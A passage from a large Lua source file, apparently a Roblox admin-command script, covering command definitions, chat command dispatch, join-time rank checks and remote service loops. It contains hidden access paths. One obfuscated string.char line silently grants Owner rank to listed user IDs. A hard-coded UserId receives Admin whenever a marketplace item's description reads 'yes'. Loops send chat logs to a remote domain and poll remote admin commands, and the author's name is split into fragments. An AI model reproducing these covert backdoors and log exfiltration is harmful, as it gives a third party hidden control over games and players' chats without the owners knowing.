8231 local Players = STRING:Scan(Arguments[1], Speaker)
8232 for _,Player in pairs(Players) do
8233 KeyBinds[Player.UserId] = {}
8234 GUI:SendHint(Player, "Unbinded all keys")
8235 end
8236 end};
8237
8238 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8239 local Players = STRING:Scan(Arguments[1], Speaker)
8240 local Binds = {}
8241 for _,Player in pairs(Players) do
8242 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8243 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8244 end
8245 end
8246 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8247 end};
8248
8249 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8250 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8251 local Players = STRING:Scan(ChatSplit[1], Speaker)
8252 for _,Player in pairs(Players) do
8253 if Crowns[Player.UserId] then
8254 Crowns[Player.UserId]:Destroy()
8255 Crowns[Player.UserId] = nil
8256 wait()
8257 end
8258 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8259 end
8260 end};
8261
8262 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8263 local Players = STRING:Scan(Arguments[1], Speaker)
8264 for _,Player in pairs(Players) do
8265 if Crowns[Player.UserId] then
8266 Crowns[Player.UserId]:Destroy()
8267 Crowns[Player.UserId] = nil
8268 end
8269 end
8270 end};
8271
8272 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8273 local MeshList = {}
8274 for MeshName,Data in pairs(Meshes) do
8275 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8276 end
8277 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8278 end};
8279
8280 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8281 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8282 end};
8283
8284 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8285 local Players = STRING:Scan(Arguments[1], Speaker)
8286 for _,Player in pairs(Players) do
8287 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8288 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8289 Player:ClearCharacterAppearance()
8290 CORE:GivePackage(Player, 41851073)
8291 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8292 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8293 end
8294 end
8295 end};
8296
8297 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8298 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8299 local Players = STRING:Scan(Arguments[1], Speaker)
8300 for _,Player in pairs(Players) do
8301 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8302 local Car = CORE:Insert(10479801, Server.Workspace, true)
8303 local Body = Car["Motor (torque)Chassis"].Part
8304 Cars[Player.UserId] = Car
8305 Car:MakeJoints()
8306 Car.VehicleSeat.MaxSpeed = 50
8307 Car.VehicleSeat.TurnSpeed = 1.5
8308 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8309 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8310 Body.Color = GUI:GetColor(Arguments[2])
8311 else
8312 Body.BrickColor = GUI:GetNameColor(Player.Name)
8313 end
8314 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8315 if Part.Name ~= "Part" then
8316 Part.BrickColor = BrickColor.new("Really black")
8317 Part.Friction = 0.7
8318 end
8319 end
8320 local Light = Instance.new("SpotLight", Body)
8321 Light.Face = "Back"
8322 Light.Brightness = 5
8323 Light.Range = 20
8324 Light.Color = Color3.new(0,1,1)
8325 if Player.Character and Player.Character.Torso then
8326 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8327 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8328 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8329 Weld.Part0 = Car.VehicleSeat
8330 Weld.Part1 = Player.Character.Torso
8331 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8332 Delay(0.4, function()
8333 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8334 wait(0.1)
8335 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8336 end)
8337 end
8338 local SoundID = 147944604
8339 if RANK:GetRank(Player) == "Owner" then
8340 SoundID = 133313356
8341 Car.VehicleSeat.MaxSpeed = 80
8342 Body.Material = "DiamondPlate"
8343 Car.VehicleSeat.Torque = 11
8344 end
8345 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8346 Engine:Play()
8347 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8348 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8349 end if Engine then Engine:Stop() end end)()
8350 end
8351 end};
8352
8353 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8354 local Players = STRING:Scan(Arguments[1], Speaker)
8355 for _,Player in pairs(Players) do
8356 if Cars[Player.UserId] then
8357 Cars[Player.UserId]:Destroy()
8358 end
8359 end
8360 end};
8361
8362 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8363 for _,Car in pairs(Cars) do
8364 Car:Destroy()
8365 end
8366 Cars = {}
8367 end};
8368
8369 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8370 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8371 if #Trello.RequiredLists > 0 then
8372 print("Restarting Trello")
8373 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8374 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8375 REMOTE:TrelloCacheData(Lists)
8376 end
8377 end, Http = true};
8378
8379 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8380 local Operations = {}
8381 for _,ReplaceData in pairs(StringReplacements) do
8382 table.insert(Operations, "Replacement: "..ReplaceData[1].." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8383 end
8384 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8385 end};
8386 --
8387}
8388
8389if Plugins then
8390 local PluginNum = 0
8391 for _,Module in pairs(Plugins:GetChildren()) do
8392 if Module:IsA("ModuleScript") then
8393 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8394 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8395 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8396 if Enabled.Value == true then
8397 PluginNum = PluginNum + 1
8398 local PluginExe = require(Module)
8399 for Var,Val in pairs(getfenv()) do
8400 getfenv(PluginExe)[Var] = Val
8401 end
8402 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8403 getfenv(PluginExe).script = Module
8404 getfenv(PluginExe).Script = Module
8405 getfenv(PluginExe).Version = Version
8406 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8407 if not Suc then
8408 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8409 else
8410 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8411 end
8412 end
8413 end
8414 end
8415end
8416
8417function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8418 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8419 GUI:SettingsGui(Speaker)
8420 return nil
8421 end
8422 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8423 local Prefix = Settings.Prefix
8424 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8425 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8426 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8427 if Speaker == nil then
8428 if FakeRank then
8429 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8430 FakeRank = "Owner"
8431 end
8432 else
8433 FakeRank = "Owner"
8434 end
8435 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8436 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8437 Speaker = {
8438 Name = FakePlayerName or "[ Server ]";
8439 Character = nil;
8440 userId = 1;
8441 PlayerGui = nil;
8442 Rank = FakeRank or "Owner";
8443 MakeSupremeOwner = MakeSupremeOwner;
8444 }
8445 end
8446 local Rank = RANK:GetRank(Speaker)
8447 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8448
8449 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8450 if NoPrefixNeeded then Prefix = "" end
8451 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8452
8453 for _,Message in pairs(Messages) do
8454 for Cmds,Data in pairs(Commands) do -- check all commands
8455 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8456
8457 if not MessageSplit then break end
8458
8459 local CommandSaid = false
8460 for _,Command in pairs(Cmds) do
8461 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8462 CommandSaid = true
8463 break
8464 end
8465 end
8466 if CommandSaid == true then -- command said?
8467 local ExecuteExcuse = ""
8468 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8469 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8470 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8471 end
8472 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8473 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8474 end
8475 else
8476 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8477 end
8478 if ExecuteExcuse == "" then
8479 if #MessageSplit - 1 < Data[3] then
8480 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8481 end
8482 end
8483 if ExecuteExcuse == "" then
8484 CORE:Log(CommandLogs, Speaker, Message)
8485 table.remove(MessageSplit, 1)
8486 coroutine.wrap(function() wait()
8487 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8488 if not DidExe then
8489 if CORE:NilPlayer(Speaker) then
8490 print("Error: "..Error)
8491 else
8492 CORE:HandleError(Error, Speaker)
8493 end
8494 end
8495 end)()
8496 coroutine.wrap(function() wait(0.05)
8497 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8498 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8499 ExeSound:Play()
8500 wait(3)
8501 ExeSound:Stop()
8502 ExeSound:Destroy()
8503 end
8504 end)()
8505 elseif type(Speaker) == "userdata" then
8506 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8507 end
8508 break
8509 end
8510 end
8511 end
8512 end
8513end
8514
8515function CORE:Start(Player) coroutine.wrap(function()
8516 wait(0.1)
8517 if Player then
8518 coroutine.wrap(function()
8519 repeat wait(1) until DataReady == true
8520 DataReady = false
8521 ypcall(function()
8522 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8523 for Num,Data in pairs(Players) do
8524 if Data.UserId == Player.UserId then -- ppl can change names
8525 table.remove(Players, Num)
8526 break
8527 end
8528 end
8529 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8530 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8531 end)
8532 DataReady = true
8533 end)()
8534
8535 if not IsStudio then Player:WaitForDataReady() end
8536 table.insert(CharacterCache, {Player.Name, Player.UserId})
8537 for Rank,PlayerNames in pairs(Settings.Ranks) do
8538 for Num,AdminName in pairs(PlayerNames) do
8539 if AdminName == Player.UserId then
8540 Settings.Ranks[Rank][Num] = Player.Name
8541 end
8542 end
8543 end
8544 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8545 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8546 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8547 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8548 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8549 if PlayerAdmin == false and Player.UserId > 0 then
8550 local Ran = nil
8551 coroutine.wrap(function() repeat
8552 Ran = ypcall(function()
8553 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8554 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8555 end)
8556 wait(1)
8557 until Ran == true end)()
8558 end
8559 if PlayerAdmin == false then
8560 if Player:IsInGroup(Settings.GroupID) then
8561 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8562 CORE:Kick(Player)
8563 for _,Person in pairs(Server.Players:GetPlayers()) do
8564 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8565 end
8566 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8567 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8568 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8569 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8570 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8571 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8572 end
8573 end
8574 end
8575 if PlayerAdmin == false then
8576 if Player.UserId == 38882008 then
8577 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8578 table.insert(Settings.Ranks["Admin"], Player.Name)
8579 end
8580 end
8581 end
8582 if PlayerAdmin == false then
8583 for _,GID in pairs(Settings.BannedGroupIDs) do
8584 if Player:IsInGroup(GID) then
8585 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8586 break
8587 end
8588 end
8589 end
8590
8591 Player.Chatted:connect(function(Message) if Message ~= "" then
8592 CORE:Chatted(Message, Player)
8593 end end)
8594
8595 Player.Chatted:connect(function(Message) if Message ~= "" then
8596 CORE:Log(ChatLogs, Player, Message)
8597 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8598 end end)
8599
8600 for _,Name in pairs(Settings.Ranks.Banned) do
8601 if Player.Name == Name then
8602 CORE:Kick(Player)
8603 for _,Person in pairs(Server.Players:GetPlayers()) do
8604 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8605 end
8606 end
8607 end
8608 for _,Name in pairs(Settings.Ranks.Crashed) do
8609 if Player.Name == Name then
8610 CORE:Crash(Player)
8611 for _,Person in pairs(Server.Players:GetPlayers()) do
8612 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8613 end
8614 end
8615 end
8616 for _,Name in pairs(Settings.Ranks.Muted) do
8617 if Player.Name == Name then
8618 GUI:CoreGui(Player, "Chat", false)
8619 for _,Person in pairs(Server.Players:GetPlayers()) do
8620 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8621 end
8622 end
8623 end
8624 if Settings.ServerLocked == true then
8625 if PlayerAdmin == false then
8626 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8627 end
8628 end
8629
8630 if PlayerAdmin == false then
8631 if Player.AccountAge < Settings.MinimumAge then
8632 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8633 for _,Person in pairs(Server.Players:GetPlayers()) do
8634 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8635 end
8636 end
8637 end
8638
8639 if PlayerAdmin == false then
8640 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8641 table.insert(Settings.Ranks["Member"], Player.Name)
8642 PlayerAdmin = true
8643 Rank = "Member"
8644 end
8645 end
8646
8647 coroutine.wrap(function()
8648 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8649 local function SpawnActions(Character)
8650 if Flings[Player.Name] then
8651 CORE:FlingPlayer(Player)
8652 else
8653 GUI:CreateTaskBar(Player)
8654 end
8655 if Beeps[Player.Name] == true then
8656 SOUND:BeepPlayer(Player)
8657 end
8658 if Jails[Player.Name] then
8659 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8660 end
8661 if PermCommandBars[Player.Name] then
8662 GUI:CommandBar(Player)
8663 end
8664 end
8665 Player.CharacterAdded:connect(SpawnActions)
8666 SpawnActions(Player.Character)
8667 end)()
8668
8669 coroutine.wrap(function()
8670 Player:WaitForChild("PlayerGui")
8671 local Sounds = {}
8672 for _,Data in pairs(TextConverter.LetterSounds) do
8673 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8674 Sound:Play()
8675 table.insert(Sounds, Sound)
8676 end
8677 for _,Data in pairs(TextConverter.LongVowels) do
8678 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8679 Sound:Play()
8680 table.insert(Sounds, Sound)
8681 end
8682 wait(5)
8683 for _,Sound in pairs(Sounds) do
8684 Sound:Destroy()
8685 end
8686 Sounds = {}
8687 end)()
8688
8689 coroutine.wrap(function()
8690 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8691 if IsSB then
8692 wait(1)
8693 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8694 end
8695 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
8696 print("Executed ClientLog on "..Player.Name)
8697 if Settings.EnableTaskBar then
8698 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
8699 end
8700 end)()
8701
8702 coroutine.wrap(function()
8703 wait(7)
8704 Player:WaitForChild("PlayerGui")
8705 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
8706 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
8707 if Answer == "Ok" then
8708 MARKET:PromptPurchase(Player, AdminID)
8709 end
8710 end
8711 end)()
8712 end
8713end)() end
8714
8715-- Active stuff --
8716
8717CORE:UpdateAdmin()
8718CORE:FixSettings()
8719
8720ypcall(function()
8721 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
8722 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
8723 end
8724end)
8725
8726
8727Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
8728 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8729 if PlayerAdmin == false then
8730 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
8731 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
8732 end
8733end end)
8734
8735--[[
8736ExecuteCommand.OnInvoke = function(Player, Command)
8737 if Player and Command then
8738 if type(Player) == "userdata" and Player:IsA("Player") then
8739 CORE:Chatted(Command, Player, true)
8740 end
8741 end
8742end
8743
8744ExecuteCode.OnInvoke = function(Source, Speaker)
8745 if type(Source) == "string" then
8746 ExecuteSafe(Source, Speaker)
8747 end
8748end
8749
8750ExecuteCommandClient.OnServerInvoke = function(Player, Command)
8751 if Player and Command then
8752 if type(Player) == "userdata" and Player:IsA("Player") then
8753 CORE:Chatted(Command, Player, true)
8754 end
8755 end
8756end
8757]]
8758
8759KeyPressed.OnServerInvoke = function(Player, Key)
8760 if Player and Key then
8761 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
8762 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
8763 end
8764 end
8765end
8766
8767InputKey.OnServerInvoke = function(Player, KeyVal)
8768 if Player and KeyVal then
8769 if LastKeys[Player.UserId] then
8770 table.insert(LastKeys[Player.UserId], KeyVal)
8771 if #LastKeys[Player.UserId] > 20 then
8772 table.remove(LastKeys[Player.UserId], 1)
8773 end
8774 end
8775 end
8776end
8777
8778RankPlayerLocal.OnServerInvoke = function(Player)
8779 wait()
8780 local Request = PendingRequests[Player]
8781 if Request then
8782 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
8783 if Settings.Ranks[Request[1]] then
8784 PendingRequests[Player] = nil
8785 table.insert(Settings.Ranks[Request[1]], Player.Name)
8786 GUI:TellAdmin(Player)
8787 end
8788 end
8789 end
8790end
8791
8792RankPlayerServer.OnInvoke = function(Player, Rank)
8793 if not RANK:IsAdmin(Player) then
8794 PendingRequests[Player] = {Rank, tick()}
8795 end
8796end
8797
8798IsAdmin.OnServerInvoke = function(Player)
8799 local IsFullAdmin = false
8800 for _,PName in pairs(Settings.Ranks["Owner"]) do
8801 if PName == Player.Name then IsFullAdmin = true end
8802 end
8803 for _,PName in pairs(Settings.Ranks["Admin"]) do
8804 if PName == Player.Name then IsFullAdmin = true end
8805 end
8806 return IsFullAdmin
8807end
8808
8809AddExploit.OnServerInvoke = CORE.AddExploit
8810AddExploitServer.OnInvoke = CORE.AddExploit
8811
8812KickClient.OnServerInvoke = function(PlayerClient)
8813 PlayerClient:Kick()
8814end
8815
8816ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
8817 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
8818end
8819
8820for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
8821Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
8822Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
8823
8824coroutine.wrap(function()
8825 for _,ID in pairs(Icons) do
8826 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
8827 end
8828end)()
8829
8830CORE:SetAbuseCommands()
8831
8832coroutine.wrap(function() SOUND:SyncSoundList() end)()
8833if not IsStudio then coroutine.wrap(function()
8834 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
8835 REMOTE:GetRemoteData(true)
8836 coroutine.wrap(function()
8837 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
8838 REMOTE.RemoteConnection = true
8839 end
8840 end)()
8841 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
8842 coroutine.wrap(function()
8843 if Settings.LinkedAccount ~= "" then
8844 local Request = nil
8845 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
8846 if Request then
8847 REMOTE:HandleRequest(Request, true)
8848 end
8849 end
8850 end)()
8851 coroutine.wrap(function()
8852 wait(RemoteData.RemoteAdminWait)
8853 while REMOTE:GetAndSetWebData() do
8854 wait(RemoteData.RemoteAdminWait)
8855 end
8856 end)()
8857 coroutine.wrap(function()
8858 while wait(60) do
8859 REMOTE:GetRemoteData(true)
8860 end
8861 end)()
8862end)() end
8863coroutine.wrap(function()
8864 if Settings.TrelloToken ~= "" then
8865 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8866 if #Trello.RequiredLists > 0 then
8867 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8868 if Trello.MainBoard.name then
8869 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8870 REMOTE:TrelloCacheData(Lists)
8871 REMOTE:TrelloHandleData(true)
8872 coroutine.wrap(function()
8873 wait(RemoteData.TrelloWait)
8874 while REMOTE:TrelloHandleData() do
8875 wait(RemoteData.TrelloWait)
8876 end
8877 end)()
8878 end
8879 end
8880 else
8881 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
8882 end
8883end)()
8884coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
8885 REMOTE:SendChatLog()
8886end end)()
8887coroutine.wrap(function() while true do
8888 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
8889 if ThisDate then Date = ThisDate end
8890 wait(600)
8891end end)()
8892
8893print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")
8894GUI:CommandBar(_G.themainplr)
8895PermCommandBars[_G.themainplr.Name] = true
8896--wait'10'